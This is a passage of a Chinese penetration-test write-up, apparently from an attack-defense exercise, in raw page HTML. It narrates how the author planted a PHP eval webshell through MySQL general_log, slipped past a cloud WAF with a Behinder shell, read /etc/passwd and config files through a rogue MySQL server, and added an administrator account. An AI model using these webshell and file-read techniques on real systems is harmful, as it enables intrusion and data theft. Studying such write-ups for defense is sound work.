4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">phpinfo()</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">探针，网站绝对路径已知，所以直接上</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">phpMyAdmin</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">登录，尝试使用</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">into outfile</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">，有</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">--secure-file-priv</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">限制无法写入:</span></p><p><br/></p><p><img data-ratio="0.03650586701434159" data-w="1534" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1ec60b74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWruDGoODPE8b2InAicvpAX685HOMTuwQ07OojaElsNQ02siaHpYFCVLKg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">转而使用Mysql Log日志存储的方式进行写入:</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;"><span style="color: rgb(133, 153, 0);">set</span> <span style="color: rgb(133, 153, 0);">global</span> general_log=<span style="color: rgb(133, 153, 0);">on</span><span style="color: rgb(88, 110, 117);">;</span><br/><span style="color: rgb(133, 153, 0);">set</span> global_log_file=<span style="color: rgb(42, 161, 152);">&#39;/xxx/www/xxx.php&#39;</span><span style="color: rgb(88, 110, 117);">;</span><br/><span style="color: rgb(133, 153, 0);">select</span> <span style="color: rgb(42, 161, 152);">&#39;&lt;?php @eval($_REQUEST[&#34;xxx&#34;]);?&gt;&#39;</span><span style="color: rgb(88, 110, 117);">;</span><br/></code></pre><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">访问相关文件却提示我无法访问(<strong>403/AccessDefined</strong>):</p><p><br/></p><p><img data-ratio="0.3076923076923077" data-w="390" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9e8051fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWj3X7Djx5M7EbYBGvzNoW5h0IGzd7wPZd37ddzzRhr3AWuFaV3LsNIQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">遇到这种情况尝试以下几种方法:</p><ol style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;" class="list-paddingleft-2"><li><p>修改后缀访问，判断是否是只针对脚本后缀进行限制（上传.htaccess文件）</p></li><li><p>修改内容访问，判断是否有安全防护对内容进行限制</p></li><li><p>如若以上均未访问成功，则可以考虑覆盖原文件写入</p></li></ol><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">这里我的情况是第三种，大概推测可能是因为新建的文件没有执行权限所导致，因为这里我们已经有源码了所以可以直接找已有的文件(<strong>建议选择非业务相关的文件</strong>)进行写入(<strong>记得事后恢复</strong>):</p><p><br/></p><p><img data-ratio="0.22953736654804271" data-w="1124" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=de2e6d33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWsibCicjEZAEepGhqBVKzG3bdrPzh7DnPvxqduL2GmtpKgrByIncXBDlg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">执行<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">phpinfo();</code>函数可以，但无法直接使用管理工具连接，抓包发现目标网站上了云WAF，对请求内容拦截了(该WAF还挺弱)，这种情况还是有很多中方式:</p><ol style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;" class="list-paddingleft-2"><li><p>配合Cknife、蚁剑等自定义修改传输内容(Base64编码等等)，但需要修改PHP文件内容配合解码</p></li><li><p>直接上冰蝎、哥斯拉的马就行了</p></li></ol><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">为图方便，选择<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">冰蝎3</code>，使用<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">file_put_contents</code>写入连接就行(这都不拦，WAF堪忧):</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.5386740331491713" data-w="724" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c179f3ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWAq2UbFcjBs2nUqJjBD3ACr2NhGyFh4QecLVhpsfjMLJEfgulkPjDAA%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.1459227467811159" data-w="1398" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f24a946d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWb7oTljz3HghDzc7WjTd6NHbn7jPia2ZpNgJDlx9mErkicsVznTqavz3w%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">瞄准靶标</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">进入子域的Webshell发现内网无机器、就是一个云服务器，一开始误以为打中靶标，因为在主战发现一个路径泄漏:</p><p><br/></p><p><img data-ratio="0.4572564612326044" data-w="1006" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=fb7ee38b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWHuvgvlxTYszE5lhbiaWVLk4KxoBy22HkvA67Q3SFO8nQRYNQWCbic6BA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><img data-ratio="0.8294117647058824" data-w="340" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9bd80516&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWzKQqsTjXG8CxA2l0aFWumcxOBd4e5pGWyLwibmtWiaSJpPgu4MWYrw6g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">而子域服务器上也有对应目录并且文件一模一样，但是修改文件却没反应不生效，猜测很有可能主战业务曾经在这个子域服务器上，但后期进行了转移，原Web文件还留着。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">尝试翻翻源码，找密码，后来找到了几个有用的东西:1.Adminer文件 2.数据配置信息</p><p><br/></p><p><img data-ratio="0.658" data-w="1000" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce94791&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLW6FXFVyjErA7BvFKITiaPLW3bEr45nFHEUbxsUw1HLbORX3OtWXYp0uw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">Adminer</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">（类似phpMyAdmin的数据库管理工具）文件是随机的: </span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">adminerxxxxxxxxx.php</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">，完全无法扫到，数据库配置密码与子域完全一样。</span></p><p><br/></p><p><img data-ratio="0.5191693290734825" data-w="1252" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=46758cf9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWNticiaBpTH9h9NTEplKqX03eA6JKz78bw5m0O04bYY2jWqxwibclrwXZQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">使用数据配置密码无法登录，但是这里</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">Adminer</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">可以直接连外网的</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">Mysql</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">数据库，使用脚本( </span><a href="https://github.com/Gifts/Rogue-MySql-Server" target="_blank">https://github.com/Gifts/Rogue-MySql-Server</a><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"> )伪造一个Mysql服务端读取对应文件就好，这边以</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">/etc/passwd</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">为例:</span></p><p><br/></p><p><img data-ratio="0.21202003338898165" data-w="1198" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=190ae046&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLWwjgKhnT1WibU564hd4CT8Rgwu4uQf6qMQyc7fUOZCib65Txpmcia0XRtg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">如上图所示是成功读取到的，而我们在子域上也知道了对应的配置文件路径，直接伪造读取即可。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">再使用Adminer登录进去时，使用如下几种方法尝试获取Webshell:</p><ol style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;" class="list-paddingleft-2"><li><p>into outfile -&gt; 失败</p></li><li><p>Mysql log -&gt; 失败</p></li><li><p>Adminer是最新版本无漏洞 -&gt; 失败</p></li><li><p>获取管理员密码无法解密 -&gt; 失败</p></li></ol><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">最终选择添加新管理员登录:</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.2483108108108108" data-w="1184" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f0b9d110&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxxtBQDkePhDicla8gIh1UnLW4sicxw7QMYKibpxvSYzd2qtbyMQ4TgNLfUFuaWNnID4rAkEuA9YISQTw%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">登录之后寻找对应上传点(以最短攻击路径的方式进行GetWebShell):<br/><img data-ratio="0.3339382940108893" data-w="1102" data-type="png" 